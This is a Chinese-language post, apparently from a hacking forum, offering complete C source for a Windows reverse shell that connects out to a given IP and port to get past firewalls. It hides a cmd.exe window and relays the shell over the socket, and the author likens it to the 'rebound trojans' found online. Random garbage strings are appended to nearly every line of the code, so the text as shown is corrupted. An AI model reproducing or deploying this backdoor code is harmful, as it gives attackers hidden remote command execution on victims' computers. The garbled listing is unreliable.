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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;<hLy(@  
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/* ============================== ir !/{IQx  
Rebound port in Windows NT j`7q7}  
By wind,2006/7 @Jr:+|v3B  
===============================*/ /fv;`?~d*  
#include Cl&YN}t5  
#include ebfT%_N  
=# 0f4z  
#pragma comment(lib,"wsock32.lib") t>Lq "]1  
Ce_k&[AJF  
void OutputShell(); 4MUN1/DId`  
SOCKET sClient; fRh}n ^X  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Kjzo>fIC{  
=S#9\W&6Q  
void main(int argc,char **argv) P.aN4 9`=  
{ 8}C_/qeM  
WSADATA stWsaData; owQSy9Az  
int nRet; *!NxtB!LC  
SOCKADDR_IN stSaiClient,stSaiServer; JCFiKt9n  
e|> 5 R  
if(argc != 3) }2%L 0  
{ 37<^Oly!  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6--t6>5  
return; Nk2n&(~$  
} < #FxI  
N(s5YX7<hd  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?*LVn~y  
P_}wjz}9ZX  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *{DpNV8"  
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stSaiClient.sin_family = AF_INET; x4bmV@b  
stSaiClient.sin_port = htons(0); N2 4J!L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;-kC&GZf  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L _D#  
{ |tN:o= 6  
printf("Bind Socket Failed!\n"); {;5\#VFg  
return; cXw8#M!  
} ghGpi U$  
3FY87R   
stSaiServer.sin_family = AF_INET; QZ& 4W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &8\6%C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T {:8,CiW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) CFXr=.yz  
{ |W*#N8I P  
printf("Connect Error!"); F/ o }5H  
return; PCx:  
} ;W{2\ Es  
OutputShell(); ?k`UQi]Q  
} (1e,9!?  
:lW8f~!  
void OutputShell() zb3,2D+P  
{ ;oCSKY4  
char szBuff[1024]; !mH !W5&  
SECURITY_ATTRIBUTES stSecurityAttributes; y**YFQ*sc  
OSVERSIONINFO stOsversionInfo; XFSHl[uS1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |"g+p)A  
STARTUPINFO stStartupInfo; =&Z#QD"vl  
char *szShell; x7GYWK 9  
PROCESS_INFORMATION stProcessInformation; AO]k*N,N  
unsigned long lBytesRead; smKp3_r  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~jJF&*)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j-#h^3l1?  
stSecurityAttributes.lpSecurityDescriptor = 0; @>*r2=#14  
stSecurityAttributes.bInheritHandle = TRUE; f cnv[B..{  
GC`/\~TM  
LNcoTdv}k  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ";jKTk7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XTJA"y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (QTQxZ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ioBYxbY`  
stStartupInfo.wShowWindow = SW_HIDE; _MW W  
stStartupInfo.hStdInput = hReadPipe; V%'' GF   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vddl9"V)  
f}EsS  
GetVersionEx(&stOsversionInfo); -H F1c  
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switch(stOsversionInfo.dwPlatformId) qND:LP\_v  
{ !5 ?<QKOe  
case 1: r:M0# 2   
szShell = "command.com"; }Te+Rv7{E  
break; 2 ?F?C  
default: + B<7]\\M  
szShell = "cmd.exe"; ):\+%v^  
break; 87F]a3  
} yU>ucuF  
q'9;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tzY?LX[3  
1{Ik.O)  
send(sClient,szMsg,77,0); u"MfxW`  
while(1) /[5\T2GI   
{ v6H!.0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +7{8T{  
if(lBytesRead) ?rY+,nQP  
{ P6")OWd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); drvz [ 9;  
send(sClient,szBuff,lBytesRead,0); 558!?kx$  
} F$ckW'V  
else {11 3B)  
{ `_sKR,LhB  
lBytesRead=recv(sClient,szBuff,1024,0); MP_/eC ;  
if(lBytesRead<=0) break; OepQ Z|2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V@+X4`T  
} r`$P60,@C  
} zDBm^ s  
gH.$B'  
return; .@\(ay  
}
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